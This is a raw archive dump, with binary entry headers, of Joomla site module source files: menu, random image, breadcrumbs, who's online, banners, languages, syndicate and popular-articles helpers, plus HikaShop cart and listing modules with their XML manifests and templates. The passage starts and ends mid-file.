							if ((strpos($item->link, 'index.php?') === 0) && (strpos($item->link, 'Itemid=') === false))
							{
								// If this is an internal Joomla link, ensure the Itemid is set.
								$item->flink = $item->link . '&Itemid=' . $item->id;
							}
							break;

						case 'alias':
							$item->flink = 'index.php?Itemid=' . $itemParams->get('aliasoptions');

							// Get the language of the target menu item when site is multilingual
							if (Multilanguage::isEnabled())
							{
								$newItem = Factory::getApplication()->getMenu()->getItem((int) $itemParams->get('aliasoptions'));

								// Use language code if not set to ALL
								if ($newItem != null && $newItem->language && $newItem->language !== '*')
								{
									$item->flink .= '&lang=' . $newItem->language;
								}
							}
							break;

						default:
							$item->flink = 'index.php?Itemid=' . $item->id;
							break;
					}

					if ((strpos($item->flink, 'index.php?') !== false) && strcasecmp(substr($item->flink, 0, 4), 'http'))
					{
						$item->flink = Route::_($item->flink, true, $itemParams->get('secure'));
					}
					else
					{
						$item->flink = Route::_($item->flink);
					}

					// We prevent the double encoding because for some reason the $item is shared for menu modules and we get double encoding
					// when the cause of that is found the argument should be removed
					$item->title          = htmlspecialchars($item->title, ENT_COMPAT, 'UTF-8', false);
					$item->anchor_css     = htmlspecialchars($itemParams->get('menu-anchor_css', ''), ENT_COMPAT, 'UTF-8', false);
					$item->anchor_title   = htmlspecialchars($itemParams->get('menu-anchor_title', ''), ENT_COMPAT, 'UTF-8', false);
					$item->anchor_rel     = htmlspecialchars($itemParams->get('menu-anchor_rel', ''), ENT_COMPAT, 'UTF-8', false);
					$item->menu_image     = $itemParams->get('menu_image', '') ?
						htmlspecialchars($itemParams->get('menu_image', ''), ENT_COMPAT, 'UTF-8', false) : '';
					$item->menu_image_css = htmlspecialchars($itemParams->get('menu_image_css', ''), ENT_COMPAT, 'UTF-8', false);
				}

				if (isset($items[$lastitem]))
				{
					$items[$lastitem]->deeper     = (($start ?: 1) > $items[$lastitem]->level);
					$items[$lastitem]->shallower  = (($start ?: 1) < $items[$lastitem]->level);
					$items[$lastitem]->level_diff = ($items[$lastitem]->level - ($start ?: 1));
				}
			}

			$cache->store($items, $key);
		}

		return $items;
	}

	/**
	 * Get base menu item.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  object
	 *
	 * @since    3.0.2
	 */
	public static function getBase(&$params)
	{
		// Get base menu item from parameters
		if ($params->get('base'))
		{
			$base = Factory::getApplication()->getMenu()->getItem($params->get('base'));
		}
		else
		{
			$base = false;
		}

		// Use active menu item if no base found
		if (!$base)
		{
			$base = self::getActive($params);
		}

		return $base;
	}

	/**
	 * Get active menu item.
	 *
	 * @param   \Joomla\Registry\Registry  &$params  The module options.
	 *
	 * @return  object
	 *
	 * @since    3.0.2
	 */
	public static function getActive(&$params)
	{
		$menu = Factory::getApplication()->getMenu();

		return $menu->getActive() ?: self::getDefault();
	}

	/**
	 * Get default menu item (home page) for current language.
	 *
	 * @return  object
	 */
	public static function getDefault()
	{
		$menu = Factory::getApplication()->getMenu();

		// Look for the home menu
		if (Multilanguage::isEnabled())
		{
			return $menu->getDefault(Factory::getLanguage()->getTag());
		}

		return $menu->getDefault();
	}
}
PK!R��++1mod_random_image/src/Helper/RandomImageHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_random_image
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\RandomImage\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Uri\Uri;
use Joomla\String\StringHelper;

/**
 * Helper for mod_random_image
 *
 * @since  1.5
 */
class RandomImageHelper
{
	/**
	 * Retrieves a random image
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters object
	 * @param   array                      $images   list of images
	 *
	 * @return  mixed
	 */
	public static function getRandomImage(&$params, $images)
	{
		$width  = $params->get('width', 100);
		$height = $params->get('height', null);

		$i = \count($images);

		if ($i === 0)
		{
			return null;
		}

		$random = mt_rand(0, $i - 1);
		$image  = $images[$random];
		$size   = getimagesize(JPATH_BASE . '/' . $image->folder . '/' . $image->name);

		if ($size[0] < $width)
		{
			$width = $size[0];
		}

		$coeff = $size[0] / $size[1];

		if ($height === null)
		{
			$height = (int) ($width / $coeff);
		}
		else
		{
			$newheight = min($height, (int) ($width / $coeff));

			if ($newheight < $height)
			{
				$height = $newheight;
			}
			else
			{
				$width = $height * $coeff;
			}
		}

		$image->width  = $width;
		$image->height = $height;
		$image->folder = str_replace('\\', '/', $image->folder);

		return $image;
	}

	/**
	 * Retrieves images from a specific folder
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params
	 * @param   string                     $folder   folder to get the images from
	 *
	 * @return  array
	 */
	public static function getImages(&$params, $folder)
	{
		$type   = $params->get('type', 'jpg');
		$files  = [];
		$images = [];

		$dir = JPATH_BASE . '/' . $folder;

		// Check if directory exists
		if (is_dir($dir))
		{
			if ($handle = opendir($dir))
			{
				while (false !== ($file = readdir($handle)))
				{
					if ($file !== '.' && $file !== '..' && $file !== 'CVS' && $file !== 'index.html')
					{
						$files[] = $file;
					}
				}
			}

			closedir($handle);

			$i = 0;

			foreach ($files as $img)
			{
				if (!is_dir($dir . '/' . $img) && preg_match('/' . $type . '/', $img))
				{
					$images[$i] = new \stdClass;

					$images[$i]->name   = $img;
					$images[$i]->folder = $folder;
					$i++;
				}
			}
		}

		return $images;
	}

	/**
	 * Get sanitized folder
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params objects
	 *
	 * @return  mixed
	 */
	public static function getFolder(&$params)
	{
		$folder   = $params->get('folder');
		$LiveSite = Uri::base();

		// If folder includes livesite info, remove
		if (StringHelper::strpos($folder, $LiveSite) === 0)
		{
			$folder = str_replace($LiveSite, '', $folder);
		}

		// If folder includes absolute path, remove
		if (StringHelper::strpos($folder, JPATH_SITE) === 0)
		{
			$folder = str_replace(JPATH_BASE, '', $folder);
		}

		return str_replace(array('\\', '/'), DIRECTORY_SEPARATOR, $folder);
	}
}
PK!y�泆
�
0mod_breadcrumbs/src/Helper/BreadcrumbsHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_breadcrumbs
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Breadcrumbs\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\Registry\Registry;

/**
 * Helper for mod_breadcrumbs
 *
 * @since  1.5
 */
class BreadcrumbsHelper
{
	/**
	 * Retrieve breadcrumb items
	 *
	 * @param   Registry        $params  The module parameters
	 * @param   CMSApplication  $app     The application
	 *
	 * @return  array
	 */
	public static function getList(Registry $params, CMSApplication $app)
	{
		// Get the PathWay object from the application
		$pathway = $app->getPathway();
		$items   = $pathway->getPathway();
		$lang    = $app->getLanguage();
		$menu    = $app->getMenu();

		// Look for the home menu
		if (Multilanguage::isEnabled())
		{
			$home = $menu->getDefault($lang->getTag());
		}
		else
		{
			$home  = $menu->getDefault();
		}

		$count = \count($items);

		// Don't use $items here as it references JPathway properties directly
		$crumbs = array();

		for ($i = 0; $i < $count; $i++)
		{
			$crumbs[$i]       = new \stdClass;
			$crumbs[$i]->name = stripslashes(htmlspecialchars($items[$i]->name, ENT_COMPAT, 'UTF-8'));
			$crumbs[$i]->link = $items[$i]->link;
		}

		if ($params->get('showHome', 1))
		{
			$item       = new \stdClass;
			$item->name = htmlspecialchars($params->get('homeText', Text::_('MOD_BREADCRUMBS_HOME')), ENT_COMPAT, 'UTF-8');
			$item->link = 'index.php?Itemid=' . $home->id;
			array_unshift($crumbs, $item);
		}

		return $crumbs;
	}

	/**
	 * Set the breadcrumbs separator for the breadcrumbs display.
	 *
	 * @param   string  $custom  Custom xhtml compliant string to separate the items of the breadcrumbs
	 *
	 * @return  string	Separator string
	 *
	 * @since   1.5
	 */
	public static function setSeparator($custom = null)
	{
		$lang = Factory::getApplication()->getLanguage();

		// If a custom separator has not been provided we try to load a template
		// specific one first, and if that is not present we load the default separator
		if ($custom === null)
		{
			if ($lang->isRtl())
			{
				$_separator = HTMLHelper::_('image', 'system/arrow_rtl.png', null, null, true);
			}
			else
			{
				$_separator = HTMLHelper::_('image', 'system/arrow.png', null, null, true);
			}
		}
		else
		{
			$_separator = htmlspecialchars($custom, ENT_COMPAT, 'UTF-8');
		}

		return $_separator;
	}
}
PK!��� CC.mod_whosonline/src/Helper/WhosonlineHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Whosonline\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;

/**
 * Helper for mod_whosonline
 *
 * @since  1.5
 */
class WhosonlineHelper
{
	/**
	 * Show online count
	 *
	 * @return  array  The number of Users and Guests online.
	 *
	 * @since   1.5
	 **/
	public static function getOnlineCount()
	{
		$db = Factory::getDbo();

		// Calculate number of guests and users
		$result	     = [];
		$user_array  = 0;
		$guest_array = 0;

		$whereCondition = Factory::getApplication()->get('shared_session', '0') ? 'IS NULL' : '= 0';

		$query = $db->getQuery(true)
			->select('guest, client_id')
			->from('#__session')
			->where('client_id ' . $whereCondition);
		$db->setQuery($query);

		try
		{
			$sessions = (array) $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			$sessions = [];
		}

		if (\count($sessions))
		{
			foreach ($sessions as $session)
			{
				// If guest increase guest count by 1
				if ($session->guest == 1)
				{
					$guest_array ++;
				}

				// If member increase member count by 1
				if ($session->guest == 0)
				{
					$user_array ++;
				}
			}
		}

		$result['user']  = $user_array;
		$result['guest'] = $guest_array;

		return $result;
	}

	/**
	 * Show online member names
	 *
	 * @param   mixed  $params  The parameters
	 *
	 * @return  array   (array) $db->loadObjectList()  The names of the online users.
	 *
	 * @since   1.5
	 **/
	public static function getOnlineUserNames($params)
	{
		$whereCondition = Factory::getApplication()->get('shared_session', '0') ? 'IS NULL' : '= 0';

		$db    = Factory::getDbo();
		$query = $db->getQuery(true)
			->select($db->quoteName(['a.username', 'a.userid', 'a.client_id']))
			->from($db->quoteName('#__session', 'a'))
			->where($db->quoteName('a.userid') . ' != 0')
			->where($db->quoteName('a.client_id') . ' ' . $whereCondition)
			->group($db->quoteName(['a.username', 'a.userid', 'a.client_id']));

		$user = Factory::getUser();

		if (!$user->authorise('core.admin') && $params->get('filter_groups', 0) == 1)
		{
			$groups = $user->getAuthorisedGroups();

			if (empty($groups))
			{
				return array();
			}

			$query->leftJoin($db->quoteName('#__user_usergroup_map', 'm'), $db->quoteName('m.user_id') . ' = ' . $db->quoteName('a.userid'))
				->leftJoin($db->quoteName('#__usergroups', 'ug'), $db->quoteName('ug.id') . ' = ' . $db->quoteName('m.group_id'))
				->whereIn($db->quoteName('ug.id'), $groups)
				->where($db->quoteName('ug.id') . ' <> 1');
		}

		$db->setQuery($query);

		try
		{
			return (array) $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			return array();
		}
	}
}
PK!�:�� mod_whosonline/tmpl/disabled.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_whosonline
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

?>
<div class="mod-whosonline-disabled">
	<p><?php echo Text::_('MOD_WHOSONLINE_NO_SESSION_METADATA'); ?></p>
</div>
PK!�#o,,mod_hikashop_cart/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�M���'mod_hikashop_cart/mod_hikashop_cart.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" method="upgrade">
	<name>Hikashop Cart Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Cart display for Hikashop</description>
	<files>
		<filename module="mod_hikashop_cart">mod_hikashop_cart.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="hikashopcartmodule" type="hikashopmodule" default="module" label="hikashop" description="HikaShop options" />
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field name="moduleclass_sfx" type="text" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
			</fieldset>
			<fieldset name="hk_options" label="Hikashop Options">
				<field id="hikashopmodule" name="hikashopcartmodule" type="hikashopmodule" label="hikashop" description="HikaShop options" />
			</fieldset>
		</fields>
	</config>
</extension>
PK!�ɬ22'mod_hikashop_cart/mod_hikashop_cart.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);


if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};

$js ='';
$params->set('from_module',$module->id);
hikashop_initModule();
$config =& hikashop_config();
$module_options = $config->get('params_'.$module->id);

if(empty($module_options)){
	$module_options = $config->get('default_params');
}

$data = $params->get('hikashopcartmodule');
if(HIKASHOP_J30 && (empty($data) || !is_object($data))){
	$db = JFactory::getDBO();
	$query = 'SELECT params FROM '.hikashop_table('modules',false).' WHERE id = '.(int)$module->id;
	$db->setQuery($query);
	$itemData = json_decode($db->loadResult());
	if(!empty($itemData->hikashopcartmodule) && is_object($itemData->hikashopcartmodule)){
		$data = $itemData->hikashopcartmodule;
		$params->set('hikashopcartmodule',$data);
	}
}
if(!empty($data) && is_object($data)){
	foreach($data as $k => $v){
		$module_options[$k] = $v;
	}
}

if(is_array($module_options)){
	foreach($module_options as $key => $option){
		if($key !='moduleclass_sfx'){
			$params->set($key,$option);
		}
	}
}

foreach(get_object_vars($module) as $k => $v){
	if(!is_object($v) && $params->get($k,null)==null){
		$params->set($k,$v);
	}
}

$moduleClass = hikashop_get('class.modules');
if($moduleClass->restrictedModule($params) === false)
	return;

if(!empty($module->params) && is_string($module->params))
	$module->params = json_decode($module->params, true);

$params->set('cart_type','cart');
$params->set('from','module');
$html = trim(hikashop_getLayout('product','cart',$params,$js));
require(JModuleHelper::getLayoutPath('mod_hikashop_cart'));
PK!�#o,,!mod_hikashop_cart/tmpl/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�H		"mod_hikashop_cart/tmpl/default.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!empty($html)){
?>
<div class="hikashop_cart_module <?php echo (!empty($module->params) && is_array($module->params) ? @$module->params['moduleclass_sfx'] : ''); ?>" id="hikashop_cart_module">
<?php echo $html; ?>
</div>
<?php }
PK!?��(mod_banners/src/Helper/BannersHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_banners
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Banners\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Environment\Browser;
use Joomla\Component\Banners\Site\Model\BannersModel;
use Joomla\Registry\Registry;

/**
 * Helper for mod_banners
 *
 * @since  1.5
 */
class BannersHelper
{
	/**
	 * Retrieve list of banners
	 *
	 * @param   Registry        $params  The module parameters
	 * @param   BannersModel    $model   The model
	 * @param   CMSApplication  $app     The application
	 *
	 * @return  mixed
	 */
	public static function getList(Registry $params, BannersModel $model, CMSApplication $app)
	{
		$keywords = explode(',', $app->getDocument()->getMetaData('keywords'));
		$config   = ComponentHelper::getParams('com_banners');

		$model->setState('filter.client_id', (int) $params->get('cid'));
		$model->setState('filter.category_id', $params->get('catid', array()));
		$model->setState('list.limit', (int) $params->get('count', 1));
		$model->setState('list.start', 0);
		$model->setState('filter.ordering', $params->get('ordering'));
		$model->setState('filter.tag_search', $params->get('tag_search'));
		$model->setState('filter.keywords', $keywords);
		$model->setState('filter.language', $app->getLanguageFilter());

		$banners = $model->getItems();

		if ($banners)
		{
			if ($config->get('track_robots_impressions', 1) == 1 || !Browser::getInstance()->isRobot())
			{
				$model->impress();
			}
		}

		return $banners;
	}
}
PK!L$v��,mod_languages/src/Helper/LanguagesHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_languages
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Languages\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Association\AssociationServiceInterface;
use Joomla\CMS\Factory;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Language\LanguageHelper;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Uri\Uri;
use Joomla\Component\Menus\Administrator\Helper\MenusHelper;

/**
 * Helper for mod_languages
 *
 * @since  1.6
 */
abstract class LanguagesHelper
{
	/**
	 * Gets a list of available languages
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module params
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$user		= Factory::getUser();
		$lang		= Factory::getLanguage();
		$languages	= LanguageHelper::getLanguages();
		$app		= Factory::getApplication();
		$menu		= $app->getMenu();
		$active		= $menu->getActive();

		// Get menu home items
		$homes      = [];
		$homes['*'] = $menu->getDefault('*');

		foreach ($languages as $item)
		{
			$default = $menu->getDefault($item->lang_code);

			if ($default && $default->language === $item->lang_code)
			{
				$homes[$item->lang_code] = $default;
			}
		}

		// Load associations
		$assoc = Associations::isEnabled();

		if ($assoc)
		{
			if ($active)
			{
				$associations = MenusHelper::getAssociations($active->id);
			}

			$option = $app->input->get('option');
			$component = $app->bootComponent($option);

			if ($component instanceof AssociationServiceInterface)
			{
				$cassociations = $component->getAssociationsExtension()->getAssociationsForItem();
			}
			else
			{
				// Load component associations
				$class = str_replace('com_', '', $option) . 'HelperAssociation';
				\JLoader::register($class, JPATH_SITE . '/components/' . $option . '/helpers/association.php');

				if (class_exists($class) && \is_callable(array($class, 'getAssociations')))
				{
					$cassociations = \call_user_func(array($class, 'getAssociations'));
				}
			}
		}

		$levels    = $user->getAuthorisedViewLevels();
		$sitelangs = LanguageHelper::getInstalledLanguages(0);
		$multilang = Multilanguage::isEnabled();

		// Filter allowed languages
		foreach ($languages as $i => &$language)
		{
			// Do not display language without frontend UI
			if (!\array_key_exists($language->lang_code, $sitelangs))
			{
				unset($languages[$i]);
			}
			// Do not display language without specific home menu
			elseif (!isset($homes[$language->lang_code]))
			{
				unset($languages[$i]);
			}
			// Do not display language without authorized access level
			elseif (isset($language->access) && $language->access && !\in_array($language->access, $levels))
			{
				unset($languages[$i]);
			}
			else
			{
				$language->active = ($language->lang_code === $lang->getTag());

				// Fetch language rtl
				// If loaded language get from current JLanguage metadata
				if ($language->active)
				{
					$language->rtl = $lang->isRtl();
				}
				// If not loaded language fetch metadata directly for performance
				else
				{
					$languageMetadata = LanguageHelper::getMetadata($language->lang_code);
					$language->rtl    = $languageMetadata['rtl'];
				}

				if ($multilang)
				{
					if (isset($cassociations[$language->lang_code]))
					{
						$language->link = Route::_($cassociations[$language->lang_code]);
					}
					elseif (isset($associations[$language->lang_code]) && $menu->getItem($associations[$language->lang_code]))
					{
						$itemid = $associations[$language->lang_code];
						$language->link = Route::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);
					}
					elseif ($active && $active->language === '*')
					{
						$language->link = Route::_('index.php?lang=' . $language->sef . '&Itemid=' . $active->id);
					}
					else
					{
						if ($language->active)
						{
							$language->link = Uri::getInstance()->toString(array('path', 'query'));
						}
						else
						{
							$itemid = isset($homes[$language->lang_code]) ? $homes[$language->lang_code]->id : $homes['*']->id;
							$language->link = Route::_('index.php?lang=' . $language->sef . '&Itemid=' . $itemid);
						}
					}
				}
				else
				{
					$language->link = Route::_('&Itemid=' . $homes['*']->id);
				}
			}
		}

		return $languages;
	}
}
PK!�ˀI	I	mod_hikashop/mod_hikashop.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};
$js ='';
$params->set('show_limit',0);
$params->set('from_module',$module->id);
hikashop_initModule();
$config = hikashop_config();
$key_name = 'params_'.$module->id;
$module_options = $config->get($key_name);
if(empty($module_options)){
	$module_options = $config->get('default_params');
}

$data = $params->get('hikashopmodule');
if(HIKASHOP_J30 && (empty($data) || !is_object($data))){
	$db = JFactory::getDBO();
	$query = 'SELECT params FROM '.hikashop_table('modules',false).' WHERE id = '.(int)$module->id;
	$db->setQuery($query);
	$itemData = json_decode($db->loadResult());
	if(!empty($itemData->hikashopmodule) && is_object($itemData->hikashopmodule)){
		$data = $itemData->hikashopmodule;
		$params->set('hikashopmodule',$data);
	}
}
if(!empty($data) && is_object($data)){
	foreach($data as $k => $v){
		$module_options[$k] = $v;
	}
}

$type = $module_options['content_type'];
if($type=='manufacturer') $type = 'category';

if(empty($module_options['itemid']) && $type=='category' && !hikaInput::get()->getVar('hikashop_front_end_main')){
	$module_options['content_synchronize']=0;
	$menu = hikashop_get('class.menus');
	$menu->createMenu($module_options,$module->id);

	$configData=new stdClass();
	$configData->$key_name = $module_options;
	$config->save($configData);
}
foreach($module_options as $key => $option){
	if($key !='moduleclass_sfx'){
		$params->set($key,$option);
	}
}
$moduleClass = hikashop_get('class.modules');
$moduleClass->loadParams($module);
foreach(get_object_vars($module) as $k => $v){
	if(!is_object($v) && $params->get($k,null)==null){
		$params->set($k,$v);
	}
}

if($moduleClass->restrictedModule($params) === false)
	return;

$html = trim(hikashop_getLayout($type,'listing',$params,$js));
require(JModuleHelper::getLayoutPath('mod_hikashop'));
PK!j:77mod_hikashop/mod_hikashop.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" method="upgrade">
	<name>Hikashop Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Content display for Hikashop</description>
	<files>
		<filename module="mod_hikashop">mod_hikashop.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
		<param name="hikashopmodule" type="hikashopmodule" default="module" label="hikashop" description="HikaShop options" />
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
			</fieldset>
			<fieldset name="hk_options" label="Hikashop Options">
				<field
					id="hikashopmodule"
					name="hikashopmodule"
					multiple="true"
					type="hikashopmodule"
					label="HikaShop"
					description="HikaShop options"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�#o,,mod_hikashop/tmpl/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!oxmod_hikashop/tmpl/default.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php if(!empty($html)){ ?>
<div id="hikashop_module_<?php echo $module->id;?>" class="hikashop_module <?php echo (!empty($module->params) && is_array($module->params) ? @$module->params['moduleclass_sfx'] : ''); ?>">
<?php echo $html; ?>
</div>
<?php } ?>
PK!�#o,,mod_hikashop/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!n��%��,mod_syndicate/src/Helper/SyndicateHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_syndicate
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Syndicate\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Document\HtmlDocument;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * Helper for mod_syndicate
 *
 * @since  1.5
 */
class SyndicateHelper
{
	/**
	 * Gets the link
	 *
	 * @param   Registry      $params    The module parameters
	 * @param   HtmlDocument  $document  The document
	 *
	 * @return  string|null  The link as a string, if found
	 *
	 * @since   1.5
	 */
	public static function getLink(Registry $params, HtmlDocument $document)
	{
		foreach ($document->_links as $link => $value)
		{
			$value = ArrayHelper::toString($value);

			if (strpos($value, 'application/' . $params->get('format') . '+xml'))
			{
				return $link;
			}
		}

		return null;
	}
}
PK!�	;]]9mod_articles_popular/src/Helper/ArticlesPopularHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_popular
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesPopular\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;

/**
 * Helper for mod_articles_popular
 *
 * @since  1.6
 */
abstract class ArticlesPopularHelper
{
	/**
	 * Get a list of popular articles from the articles model
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 */
	public static function getList(&$params)
	{
		$app = Factory::getApplication();

		// Get an instance of the generic articles model
		$model = $app->bootComponent('com_content')
			->getMVCFactory()->createModel('Articles', 'Site', ['ignore_request' => true]);

		// Set application parameters in model
		$appParams = $app->getParams();
		$model->setState('params', $appParams);

		$model->setState('list.start', 0);
		$model->setState('filter.published', ContentComponent::CONDITION_PUBLISHED);

		// Set the filters based on the module params
		$model->setState('list.limit', (int) $params->get('count', 5));
		$model->setState('filter.featured', $params->get('show_front', 1) == 1 ? 'show' : 'hide');

		// This module does not use tags data
		$model->setState('load_tags', false);

		// Access filter
		$access = !ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = Access::getAuthorisedViewLevels(Factory::getUser()->get('id'));
		$model->setState('filter.access', $access);

		// Category filter
		$model->setState('filter.category_id', $params->get('catid', []));

		// Date filter
		$date_filtering = $params->get('date_filtering', 'off');

		if ($date_filtering !== 'off')
		{
			$model->setState('filter.date_filtering', $date_filtering);
			$model->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$model->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$model->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$model->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$model->setState('filter.language', $app->getLanguageFilter());

		// Ordering
		$model->setState('list.ordering', 'a.hits');
		$model->setState('list.direction', 'DESC');

		$items = $model->getItems();

		foreach ($items as &$item)
		{
			$item->slug = $item->id . ':' . $item->alias;

			if ($access || \in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$item->link = Route::_('index.php?option=com_users&view=login');
			}
		}

		return $items;
	}
}
PK!�V����1mod_tags_popular/src/Helper/TagsPopularHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_popular
 *
